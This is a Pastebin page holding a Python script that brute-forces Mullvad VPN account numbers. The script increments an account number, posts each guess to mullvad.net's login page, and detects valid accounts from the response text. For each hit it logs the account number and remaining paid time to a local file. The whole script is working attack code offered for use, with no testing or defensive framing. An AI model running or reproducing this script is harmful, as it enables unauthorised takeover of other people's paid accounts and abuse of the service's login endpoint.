Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import re
- import time
- # Function to process the page and extract data
- def page_data(page, data):
- print('Successful Login')
- print('')
- page = page.replace(" ", "").replace("\n", "") # Clean spaces and new lines
- # Extract time left from the page content using regex
- time_left = re.search(r'Timeleft:<.strong>(.*?)<.p>', page)
- if time_left:
- print(time_left.group(1))
- with open('mullvad.txt', 'a') as write:
- write.write(f"Account: {data} {time_left.group(1)}\n")
- data = "200875416016"
- attempts = 0
- # Setting up headers, including a user agent
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
- }
- # Main loop for brute-forcing account numbers
- while True:
- url = 'https://mullvad.net/en/account/'
- payload = {'account': data}
- # Send POST request to Mullvad account page
- try:
- response = requests.post(url, data=payload, headers=headers, timeout=10, verify=True)
- # Increment attempt count
- attempts += 1
- print(f"Attempted Account: {data}")
- print(f"Attempts {attempts}")
- # Check for failed login
- if 'Not logged in' in response.text:
- print("Failed Login")
- # Check for success (for simplicity, assume successful login if 'Ports' keyword exists in the response)
- elif 'Ports' in response.text:
- page_data(response.text, data)
- except requests.exceptions.RequestException as e:
- print(f"Error with request: {e}")
- # Increment the account number for the next attempt
- data = str(int(data) + 1)
- # Adding a small delay between requests to avoid overwhelming the server
- time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement